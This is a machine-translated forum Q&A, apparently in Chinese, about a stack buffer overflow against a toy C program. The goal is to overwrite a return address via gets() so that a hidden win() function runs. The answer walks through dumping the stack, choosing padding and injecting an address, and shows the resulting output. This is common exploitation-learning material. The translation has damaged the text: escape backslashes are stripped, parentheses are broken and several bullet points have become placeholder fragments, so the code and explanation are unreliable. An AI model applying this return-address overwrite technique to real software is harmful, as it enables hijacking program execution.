c-试图调用缓冲区溢出的隐藏函数



所以我试图对以下代码执行基于堆栈的缓冲区溢出:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("well done!");
}
void vulnfunc(){
char buffer[36];
gets(buffer);
printf("Buffer contents are %sn",buffer);
}
int main(int argc,char**argv){
vulnfunc();
}

因此,我用44个字节(缓冲区的36个字节和额外的8个字节(覆盖EIP。然后我得到了函数win的地址,将其从0x53e58955更改为适当的类似

x55x89xe5x53

当我将两个字符串连接在一起作为输入时,它仍然不会调用win()函数。我尝试添加"BBBB"作为填充ebp的填充,但也没有成功。如果有人能给我一些建议,我将非常感激。

它在Ubuntu上运行,x86_64

我在Windows上重现了漏洞。由于系统和控制台可能不同,我将解释过程而不是原始代码。因此,它将不是复制粘贴解决方案,而是通过复制过程生成类似结果的解决方案。

首先,我想找出堆栈结构。因此,我执行了以下修改后的vulnfunc():

void vulnfunc(){
char buffer[36];
printf("win(): 0x%pn", win);
printf("vulnfunc(): 0x%pn", vulnfunc);
printf("main(): 0x%pn", main);
printf("printf(): 0x%pn", printf);

printf( "0x%08X %08X %08X %08Xn",
(int) *((int*)&buffer[36]), (int) *((int*)&buffer[40]),
(int) *((int*)&buffer[44]), (int) *((int*)&buffer[48]));
printf( "0x%08X %08X %08X %08Xn",
(int) *((int*)&buffer[52]), (int) *((int*)&buffer[56]),
(int) *((int*)&buffer[60]), (int) *((int*)&buffer[64]) );
printf( "0x%08X %08X %08X %08Xn",
(int) *((int*)&buffer[68]), (int) *((int*)&buffer[72]),
(int) *((int*)&buffer[76]), (int) *((int*)&buffer[80]) );
gets(buffer);
}

正如您所看到的,我打印了win()地址以及所有其他相关函数,包括mainprintf。然后,我在缓冲区array之后打印堆栈的相关部分(48字节(

我得到了以下输出:

win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000

函数的地址很有用,因为我需要的是main()中的返回地址(地址0x00000000004016D9(。候选人当然是004016F2

因此,我需要的是通过gets()插入足够的字符,以便到达所需的地址。我们需要准确地插入24个字符,即buffer数组末尾以外从字节21到字节24的字符,即包含地址的字符。前面20个字节的值并不重要,所以我插入随机ASCII字符。

结果是预期的结果:

win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000
123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0§@
Buffer contents are 123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0@
well done!
<crash>

请注意如何:

  • CCD_;合法的";阵列的面积
  • CCD_ 15为20〃;填充";字符,只是为了到达堆栈的所需位置
  • 注入的地址是0§@(0x300x150x40(,由gets()填充的字符串终止符提供缺失的0x00

按预期执行win()函数;之后会发生崩溃,因为从中返回后,堆栈在main()上没有包含正确的返回地址(它已损坏(。

在Ubuntu上,你可能会有不同的堆栈配置,但通过非常相似的方式,你可以发现如何执行所需的漏洞。

最新更新